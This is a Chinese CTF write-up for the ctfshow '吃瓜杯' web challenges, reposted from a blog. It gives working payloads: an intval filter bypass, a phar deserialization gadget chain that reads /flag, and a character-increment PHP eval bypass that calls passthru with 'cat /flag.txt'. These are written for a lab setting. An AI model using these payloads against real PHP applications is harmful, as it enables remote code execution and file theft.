文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

ctfshow吃瓜杯 web

2023-09-04 14:13

关注

文章目录

热身

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==4476){        die("no no no!");    }    if(preg_match("/[a-z]|\./i", $num)){        die("no no no!!");    }    if(!strpos($num, "0")){        die("no no no!!!");    }    if(intval($num,0)===4476){        echo $flag;    }}

查官方文档

intval() 函数用于获取变量的整数值。intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1PHP 4, PHP 5, PHP 7语法int intval ( mixed $var [, int $base = 10 ] )参数说明:$var:要转换成 integer 的数量值。$base:转化所使用的进制。如果 base 是 0,通过检测 var 的格式来决定使用的进制:如果字符串包括了 "0x" ("0X") 的前缀,使用 16 进制 (hex);否则,如果字符串以 "0" 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)

?num=+010574

ATTup

查看前端源码查到php文件

upload.php   find.php

任意文件读取漏洞,读取find.php

<!--class View {    public $fn;    public function __invoke(){        $text = base64_encode(file_get_contents($this->fn));        echo "";    }}class Fun{    public $fun = ":)";    public function __toString(){        $fuc = $this->fun;        $fuc();        return "";    }    public function __destruct()    {        echo "";    }}$filename = $_POST["file"];$stat = @stat($filename);-->

代码审计

stat

stat(PHP 4, PHP 5, PHP 7, PHP 8)stat — 给出文件的信息这里可以触发phar反序列化

phar反序列化

class View {    public $fn;    public function __invoke(){//        $text = base64_encode(file_get_contents($this->fn));//        echo "";    }}class Fun{    public $fun = ":)";    public function __toString(){        $fuc = $this->fun;        $fuc();        return "1";//        return "";    }    public function __destruct()    {//        echo "";    }}$a=new Fun();$a->fun=new Fun();$a->fun->fun=new View();$a->fun->fun->fn="/flag";@unlink("phar.phar");$phar = new Phar("c2.phar");$phar->startBuffering();$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub$phar->setMetadata($a); //将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();

直接修改后缀为tar

$phar->setStub这行的内容不能出现php,否则会提示内容非法

stub的基本结构:,stub必须以__HALT_COMPILER();`来作为结束部分,否则Phar拓展将不会识别该文件。

然后以phar://c2.tar协议访问即可

alert('Y3Rmc2hvd3szOWFmNDIzMi04MTQ2LTRiMzQtOGUwZS1lYmFiMGExZjY5N2R9Cg==');解码得到flag

shellme

直接搜索flag得到flag,非预期解?

shellme_Revenge

尝试搜索ctfhsow,flag,ctf,hint等关键词,查看cookie等信息

Set-Cookiehint=%3Flooklook; expires=Sat, 20-May-2023 04:56:12 GMT; Max-Age=3600PHP Version 7.2.34
?looklook=1<?phperror_reporting(0);if ($_GET['looklook']){    highlight_file(__FILE__);}else{    setcookie("hint", "?looklook", time()+3600);}if (isset($_POST['ctf_show'])) {    $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){            eval($ctfshow);        }else{            echo("fucccc hacker!!");        }    }} else {    phpinfo();}?>

生成ascii对应可见字符

with open("ascii.txt","w") as f:    for i in range(31,128):        f.writelines(chr(i)+"\n")

查看通过正则的内容

$myfile = fopen("ascii.txt", "r") or die("Unable to open file!");while (!feof($myfile)) {    $ctfshow=fgets($myfile);    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/", $ctfshow)) {            echo "$ctfshow";        }    }}fclose($myfile);

第一行是空格

 $()+,-./0123;<=?C[]_{}

这里尝试通过++和c构造任意字符执行命令

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

$_=C;$_++; //D$C=++$_; //E$_++; //F$C_=++$_; //G$_=(C/C.C)[0]; //N$_++; //O$_++; //P$_++; //Q$_++; //R$_++; //S$_=_.$C_.$C.++$_; //_GET$$_[1]($$_[2]); //$_GET[1]($_GET[2])?>    ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]);ctf_show=%24%5f%3d%43%3b%24%5f%2b%2b%3b%24%43%3d%2b%2b%24%5f%3b%24%5f%2b%2b%3b%24%43%5f%3d%2b%2b%24%5f%3b%24%5f%3d%28%43%2f%43%2e%43%29%5b%30%5d%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%3d%5f%2e%24%43%5f%2e%24%43%2e%2b%2b%24%5f%3b%24%24%5f%5b%31%5d%28%24%24%5f%5b%32%5d%29%3b
?1=passthru&2=cat /flag.txtctf_show=%24%5f%3d%43%3b%24%5f%2b%2b%3b%24%43%3d%2b%2b%24%5f%3b%24%5f%2b%2b%3b%24%43%5f%3d%2b%2b%24%5f%3b%24%5f%3d%28%43%2f%43%2e%43%29%5b%30%5d%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%3d%5f%2e%24%43%5f%2e%24%43%2e%2b%2b%24%5f%3b%24%24%5f%5b%31%5d%28%24%24%5f%5b%32%5d%29%3b%3b%24%43%3d%2b%2b%24%5f%3b%24%5f%2b%2b%3b%24%43%5f%3d%2b%2b%24%5f%3b%24%5f%3d%28%43%2f%43%2e%43%29%5b%30%5d%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%2b%2b%3b%24%5f%3d%5f%2e%24%43%5f%2e%24%43%2e%2b%2b%24%5f%3b%24%24%5f%5b%31%5d%28%24%24%5f%5b%32%5d%29%3b

来源地址:https://blog.csdn.net/qq_63701832/article/details/130780534

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯